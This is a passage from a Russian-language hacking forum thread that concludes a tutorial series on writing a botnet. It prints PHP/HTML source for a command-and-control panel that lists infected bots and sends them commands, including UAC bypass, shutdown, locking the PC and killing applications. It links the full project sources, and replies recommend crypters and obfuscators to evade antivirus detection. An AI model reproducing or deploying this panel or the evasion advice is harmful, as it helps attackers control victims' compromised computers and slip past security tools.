  <script type="text/javascript" src="js/attachevent.js"></script>
  <script type="text/javascript" src="js/addcss.js"></script>
  <script type="text/javascript" src="js/tabtastic.js"></script>
    <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css" rel="stylesheet"/>
  <link rel="stylesheet" type="text/css" href="css/inputs.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<div id="pagecontent">
<h2 align="center" class="tabset_label">Table of Contents</h2>
<ul align="center" class="tabset_tabs">
  <li class="firstchild"><a href="#cmd" class="preActive active">Send command</a></li><li><a class="preActive postActive" href="#bots">Bots</a></li><li><a class="preActive" href="#tasks">Tasks</a></li>
</ul>
<div id="cmd" class="tabset_content tabset_content_active">
  <h2 class="tabset_label">Send command</h2>
   <div style="display: table; margin: 0 auto; text-align: center;">
   <form align="center" action="server.php" method="POST">
  <select name="cmd" align="center">
  <option value="q">Send Message</option>
  <option value="w">Open CD</option>
  <option value="e">Close CD</option>
  <option value="r">ByPass UAC</option>
  <option value="t">Terminate application</option>
  <option value="y">Shutdown PC</option>
  <option value="u">Restart PC</option>
  <option value="i">Lock PC</option>
  </select>
  <p><input type="text" placeholder="Hello World!" name="message"></p>
  <?
  include("inc/config.php");
$query ="SELECT pcname from bots";
$query_prc = mysqli_query($conn, $query) or die("Ошибка " . mysqli_error($conn));
$bots_lenght=mysqli_num_rows($query_prc);
mysqli_close($conn);
  echo('<div  class="dropdown dropdown-dark">');
echo ('<select class="dropdown-select" name=target maxlength=50 size=1>');
$i=0;
echo ("<option disabled selected>Select bot</option>");
echo ("<option value='all'>For all bots</option>");
while ($i < $bots_lenght)
{
  mysqli_data_seek($query_prc, $i);
  $pcrow = mysqli_fetch_row($query_prc);
  $pc = $pcrow[0];
  echo ("<option>".$pc."</option>");
  $i++;
  }
echo('</select></td><td></div>');
  ?>
  <p><input type=submit value="Send"></p>
  </form></div>
</div>


<div id="bots" class="tabset_content">
  <h2 class="tabset_label">Bots</h2>
  <?php include("bots.php"); ?>
</div>

<div id="tasks" class="tabset_content">
  <h2 class="tabset_label">Tasks</h2>
  <?php include("tasks.php"); ?>
</div>
</body></html>
<style>
  body {
background:#212121;
color:#fff;
font-size:15px;
color:  #FFFF00 ;
text-align: center;
}

</style>
<?
} else
header('Location:'.$url."/login.php");
?>
Загружаем эти два скрипта на сервер, и заходим на панель


20. Проверка страницы для входа

Безымянный.png


Открылась страница для входа, так как мы еще не авторизовались. Введем неверные данные для проверки работоспособности скрипта.

21. Проверка страницы для входа
2111.png


Войти не удалось. Попробуем зайти с помощью test : test


23. Удачный вход в командный центр

00000000.png



5. Заключение

На этом всё, дорогие читатели. Эта часть была последней из серии самописного бота.

Удачи, ребята!

Скачать проект со всеми сорсами можете по этой ссылке:

Автор: GoodSmile
 
Чему же например по твоему мнению?
Ну, прежде чем писать свои боты, это ещё учиться надо) Прочитать 3 статьи мало, но за фундамент однозначно респект
 
Пожалуйста, обратите внимание, что пользователь заблокирован
материал конечно хороший, только вот язык программирования так себе выбран ^_^
 
Пожалуйста, обратите внимание, что пользователь заблокирован
материал конечно хороший, только вот язык программирования так себе выбран ^_^
Ну почему же?)Для обучающих целей вполне себе
 
Необходимо сделать так что бы АВ не видел что делает твой код. Используй крипторы, протекторы, омбусфикаторы.
омбусфикаторы - не помогут, детект идет по сигнатуре
 
материал конечно хороший, только вот язык программирования так себе выбран ^_^
ну куда уж C#-пу до PHP
ты представляешь на сколько больше человека часов займет разработка на плюсах?

ждем от тебя динамический кириптор с лоадером на этого бота ;) так че там, на асемблере.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
омбусфикаторы - не помогут, детект идет по сигнатуре
"Омбусфикатор" - не поможет ,а вот обфускатор - поможет
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх